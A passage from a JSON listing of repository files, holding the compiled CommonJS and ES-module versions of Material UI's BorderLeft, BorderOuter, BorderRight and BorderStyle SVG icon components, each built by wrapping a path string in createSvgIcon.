    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 21h2v-2h-2zm0-4h2v-2h-2zm0-12h2V3h-2zm0 4h2V7h-2zm0 4h2v-2h-2zm-4 8h2v-2H7zM7 5h2V3H7zm0 8h2v-2H7zm-4 8h2V3H3zM19 9h2V7h-2zm-4 12h2v-2h-2zm4-4h2v-2h-2zm0-14v2h2V3zm0 10h2v-2h-2zm0 8h2v-2h-2zm-4-8h2v-2h-2zm0-8h2V3h-2z\"\n}), 'BorderLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 21h2v-2h-2zm0-4h2v-2h-2zm0-12h2V3h-2zm0 4h2V7h-2zm0 4h2v-2h-2zm-4 8h2v-2H7zM7 5h2V3H7zm0 8h2v-2H7zm-4 8h2V3H3zM19 9h2V7h-2zm-4 12h2v-2h-2zm4-4h2v-2h-2zm0-14v2h2V3zm0 10h2v-2h-2zm0 8h2v-2h-2zm-4-8h2v-2h-2zm0-8h2V3h-2z\"\n}), 'BorderLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 21h2v-2h-2zm0-4h2v-2h-2zm0-12h2V3h-2zm0 4h2V7h-2zm0 4h2v-2h-2zm-4 8h2v-2H7zM7 5h2V3H7zm0 8h2v-2H7zm-4 8h2V3H3zM19 9h2V7h-2zm-4 12h2v-2h-2zm4-4h2v-2h-2zm0-14v2h2V3zm0 10h2v-2h-2zm0 8h2v-2h-2zm-4-8h2v-2h-2zm0-8h2V3h-2z\"\n}), 'BorderLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 21h2v-2h-2zm0-4h2v-2h-2zm0-12h2V3h-2zm0 4h2V7h-2zm0 4h2v-2h-2zm-4 8h2v-2H7zM7 5h2V3H7zm0 8h2v-2H7zm-4 8h2V3H3zM19 9h2V7h-2zm-4 12h2v-2h-2zm4-4h2v-2h-2zm0-14v2h2V3zm0 10h2v-2h-2zm0 8h2v-2h-2zm-4-8h2v-2h-2zm0-8h2V3h-2z\"\n}), 'BorderLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 21h2v-2h-2zm0-4h2v-2h-2zm0-12h2V3h-2zm0 4h2V7h-2zm0 4h2v-2h-2zm-4 8h2v-2H7zM7 5h2V3H7zm0 8h2v-2H7zm-3 8c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1s-1 .45-1 1v16c0 .55.45 1 1 1M19 9h2V7h-2zm-4 12h2v-2h-2zm4-4h2v-2h-2zm0-14v2h2V3zm0 10h2v-2h-2zm0 8h2v-2h-2zm-4-8h2v-2h-2zm0-8h2V3h-2z\"\n}), 'BorderLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 21h2v-2h-2zm0-4h2v-2h-2zm0-12h2V3h-2zm0 4h2V7h-2zm0 4h2v-2h-2zm-4 8h2v-2H7zM7 5h2V3H7zm0 8h2v-2H7zm-3 8c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1s-1 .45-1 1v16c0 .55.45 1 1 1M19 9h2V7h-2zm-4 12h2v-2h-2zm4-4h2v-2h-2zm0-14v2h2V3zm0 10h2v-2h-2zm0 8h2v-2h-2zm-4-8h2v-2h-2zm0-8h2V3h-2z\"\n}), 'BorderLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 21h2v-2h-2zm0-4h2v-2h-2zm0-12h2V3h-2zm0 4h2V7h-2zm0 4h2v-2h-2zm-4 8h2v-2H7zM7 5h2V3H7zm0 8h2v-2H7zm-4 8h2V3H3zM19 9h2V7h-2zm-4 12h2v-2h-2zm4-4h2v-2h-2zm0-14v2h2V3zm0 10h2v-2h-2zm0 8h2v-2h-2zm-4-8h2v-2h-2zm0-8h2V3h-2z\"\n}), 'BorderLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 21h2v-2h-2zm0-4h2v-2h-2zm0-12h2V3h-2zm0 4h2V7h-2zm0 4h2v-2h-2zm-4 8h2v-2H7zM7 5h2V3H7zm0 8h2v-2H7zm-4 8h2V3H3zM19 9h2V7h-2zm-4 12h2v-2h-2zm4-4h2v-2h-2zm0-14v2h2V3zm0 10h2v-2h-2zm0 8h2v-2h-2zm-4-8h2v-2h-2zm0-8h2V3h-2z\"\n}), 'BorderLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 3h2v2h-2zM3 3h2v18H3zm12 0h2v2h-2zm-4 16h2v2h-2zm0-4h2v2h-2zm4 4h2v2h-2zM11 7h2v2h-2zm0 4h2v2h-2zm8 4h2v2h-2zm0 4h2v2h-2zm0-12h2v2h-2zm0 4h2v2h-2zm0-8h2v2h-2zm-4 8h2v2h-2zm-8 8h2v2H7zm0-8h2v2H7zm0-8h2v2H7z\"\n}), 'BorderLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 3h2v2h-2zM3 3h2v18H3zm12 0h2v2h-2zm-4 16h2v2h-2zm0-4h2v2h-2zm4 4h2v2h-2zM11 7h2v2h-2zm0 4h2v2h-2zm8 4h2v2h-2zm0 4h2v2h-2zm0-12h2v2h-2zm0 4h2v2h-2zm0-8h2v2h-2zm-4 8h2v2h-2zm-8 8h2v2H7zm0-8h2v2H7zm0-8h2v2H7z\"\n}), 'BorderLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderOuter.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v2h2zm0 4h-2v2h2zm4 0h-2v2h2zM3 3v18h18V3zm16 16H5V5h14zm-6-4h-2v2h2zm-4-4H7v2h2z\"\n}), 'BorderOuter');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderOuter.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v2h2zm0 4h-2v2h2zm4 0h-2v2h2zM3 3v18h18V3zm16 16H5V5h14zm-6-4h-2v2h2zm-4-4H7v2h2z\"\n}), 'BorderOuter');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderOuterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v2h2zm0 4h-2v2h2zm4 0h-2v2h2zM3 3v18h18V3zm16 16H5V5h14zm-6-4h-2v2h2zm-4-4H7v2h2z\"\n}), 'BorderOuterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderOuterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v2h2zm0 4h-2v2h2zm4 0h-2v2h2zM3 3v18h18V3zm16 16H5V5h14zm-6-4h-2v2h2zm-4-4H7v2h2z\"\n}), 'BorderOuterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderOuterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v2h2zm0 4h-2v2h2zm4 0h-2v2h2zM3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m15 14H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m-5-4h-2v2h2zm-4-4H7v2h2z\"\n}), 'BorderOuterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderOuterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v2h2zm0 4h-2v2h2zm4 0h-2v2h2zM3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m15 14H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m-5-4h-2v2h2zm-4-4H7v2h2z\"\n}), 'BorderOuterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderOuterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h-2v2h2zm0 4h-2v2h2zm4 0h-2v2h2zM3 3v18h18V3zm16 16H5V5h14zm-6-4h-2v2h2zm-4-4H7v2h2z\"\n}), 'BorderOuterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderOuterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h-2v2h2zm0 4h-2v2h2zm4 0h-2v2h2zM3 3v18h18V3zm16 16H5V5h14zm-6-4h-2v2h2zm-4-4H7v2h2z\"\n}), 'BorderOuterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderOuterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 11h2v2h-2zm0-4h2v2h-2zm10-4H3v18h18zm-2 16H5V5h14zm-4-8h2v2h-2zm-8 0h2v2H7zm4 4h2v2h-2z\"\n}), 'BorderOuterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderOuterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 11h2v2h-2zm0-4h2v2h-2zm10-4H3v18h18zm-2 16H5V5h14zm-4-8h2v2h-2zm-8 0h2v2H7zm4 4h2v2h-2z\"\n}), 'BorderOuterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderRight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21h2v-2H7zM3 5h2V3H3zm4 0h2V3H7zm0 8h2v-2H7zm-4 8h2v-2H3zm8 0h2v-2h-2zm-8-8h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm8 8h2v-2h-2zm4-4h2v-2h-2zm4-10v18h2V3zm-4 18h2v-2h-2zm0-16h2V3h-2zm-4 8h2v-2h-2zm0-8h2V3h-2zm0 4h2V7h-2z\"\n}), 'BorderRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21h2v-2H7zM3 5h2V3H3zm4 0h2V3H7zm0 8h2v-2H7zm-4 8h2v-2H3zm8 0h2v-2h-2zm-8-8h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm8 8h2v-2h-2zm4-4h2v-2h-2zm4-10v18h2V3zm-4 18h2v-2h-2zm0-16h2V3h-2zm-4 8h2v-2h-2zm0-8h2V3h-2zm0 4h2V7h-2z\"\n}), 'BorderRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21h2v-2H7zM3 5h2V3H3zm4 0h2V3H7zm0 8h2v-2H7zm-4 8h2v-2H3zm8 0h2v-2h-2zm-8-8h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm8 8h2v-2h-2zm4-4h2v-2h-2zm4-10v18h2V3zm-4 18h2v-2h-2zm0-16h2V3h-2zm-4 8h2v-2h-2zm0-8h2V3h-2zm0 4h2V7h-2z\"\n}), 'BorderRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21h2v-2H7zM3 5h2V3H3zm4 0h2V3H7zm0 8h2v-2H7zm-4 8h2v-2H3zm8 0h2v-2h-2zm-8-8h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm8 8h2v-2h-2zm4-4h2v-2h-2zm4-10v18h2V3zm-4 18h2v-2h-2zm0-16h2V3h-2zm-4 8h2v-2h-2zm0-8h2V3h-2zm0 4h2V7h-2z\"\n}), 'BorderRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21h2v-2H7zM3 5h2V3H3zm4 0h2V3H7zm0 8h2v-2H7zm-4 8h2v-2H3zm8 0h2v-2h-2zm-8-8h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm8 8h2v-2h-2zm4-4h2v-2h-2zm4-9v16c0 .55.45 1 1 1s1-.45 1-1V4c0-.55-.45-1-1-1s-1 .45-1 1m-4 17h2v-2h-2zm0-16h2V3h-2zm-4 8h2v-2h-2zm0-8h2V3h-2zm0 4h2V7h-2z\"\n}), 'BorderRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21h2v-2H7zM3 5h2V3H3zm4 0h2V3H7zm0 8h2v-2H7zm-4 8h2v-2H3zm8 0h2v-2h-2zm-8-8h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm8 8h2v-2h-2zm4-4h2v-2h-2zm4-9v16c0 .55.45 1 1 1s1-.45 1-1V4c0-.55-.45-1-1-1s-1 .45-1 1m-4 17h2v-2h-2zm0-16h2V3h-2zm-4 8h2v-2h-2zm0-8h2V3h-2zm0 4h2V7h-2z\"\n}), 'BorderRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21h2v-2H7zM3 5h2V3H3zm4 0h2V3H7zm0 8h2v-2H7zm-4 8h2v-2H3zm8 0h2v-2h-2zm-8-8h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm8 8h2v-2h-2zm4-4h2v-2h-2zm4-10v18h2V3zm-4 18h2v-2h-2zm0-16h2V3h-2zm-4 8h2v-2h-2zm0-8h2V3h-2zm0 4h2V7h-2z\"\n}), 'BorderRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21h2v-2H7zM3 5h2V3H3zm4 0h2V3H7zm0 8h2v-2H7zm-4 8h2v-2H3zm8 0h2v-2h-2zm-8-8h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm8 8h2v-2h-2zm4-4h2v-2h-2zm4-10v18h2V3zm-4 18h2v-2h-2zm0-16h2V3h-2zm-4 8h2v-2h-2zm0-8h2V3h-2zm0 4h2V7h-2z\"\n}), 'BorderRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h2v2H3zm0 16h2v2H3zM15 3h2v2h-2zm0 16h2v2h-2zm0-8h2v2h-2zM3 15h2v2H3zm0-4h2v2H3zm0-4h2v2H3zm8 8h2v2h-2zm-4-4h2v2H7zm0-8h2v2H7zm12 0h2v18h-2zM7 19h2v2H7zm4-16h2v2h-2zm0 4h2v2h-2zm0 4h2v2h-2zm0 8h2v2h-2z\"\n}), 'BorderRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h2v2H3zm0 16h2v2H3zM15 3h2v2h-2zm0 16h2v2h-2zm0-8h2v2h-2zM3 15h2v2H3zm0-4h2v2H3zm0-4h2v2H3zm8 8h2v2h-2zm-4-4h2v2H7zm0-8h2v2H7zm12 0h2v18h-2zM7 19h2v2H7zm4-16h2v2h-2zm0 4h2v2h-2zm0 4h2v2h-2zm0 8h2v2h-2z\"\n}), 'BorderRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderStyle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 21h2v-2h-2zm4 0h2v-2h-2zM7 21h2v-2H7zm4 0h2v-2h-2zm8-4h2v-2h-2zm0-4h2v-2h-2zM3 3v18h2V5h16V3zm16 6h2V7h-2z\"\n}), 'BorderStyle');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderStyle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 21h2v-2h-2zm4 0h2v-2h-2zM7 21h2v-2H7zm4 0h2v-2h-2zm8-4h2v-2h-2zm0-4h2v-2h-2zM3 3v18h2V5h16V3zm16 6h2V7h-2z\"\n}), 'BorderStyle');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderStyleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 21h2v-2h-2zm4 0h2v-2h-2zM7 21h2v-2H7zm4 0h2v-2h-2zm8-4h2v-2h-2zm0-4h2v-2h-2zM3 3v18h2V5h16V3zm16 6h2V7h-2z\"\n}), 'BorderStyleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderStyleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 21h2v-2h-2zm4 0h2v-2h-2zM7 21h2v-2H7zm4 0h2v-2h-2zm8-4h2v-2h-2zm0-4h2v-2h-2zM3 3v18h2V5h16V3zm16 6h2V7h-2z\"\n}), 'BorderStyleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderStyleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 21h2v-2h-2zm4 0h2v-2h-2zM7 21h2v-2H7zm4 0h2v-2h-2zm8-4h2v-2h-2zm0-4h2v-2h-2zM3 5v15c0 .55.45 1 1 1s1-.45 1-1V6c0-.55.45-1 1-1h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.1 0-2 .9-2 2m16 4h2V7h-2z\"\n}), 'BorderStyleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderStyleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 21h2v-2h-2zm4 0h2v-2h-2zM7 21h2v-2H7zm4 0h2v-2h-2zm8-4h2v-2h-2zm0-4h2v-2h-2zM3 5v15c0 .55.45 1 1 1s1-.45 1-1V6c0-.55.45-1 1-1h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.1 0-2 .9-2 2m16 4h2V7h-2z\"\n}), 'BorderStyleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderStyleSharp.js",
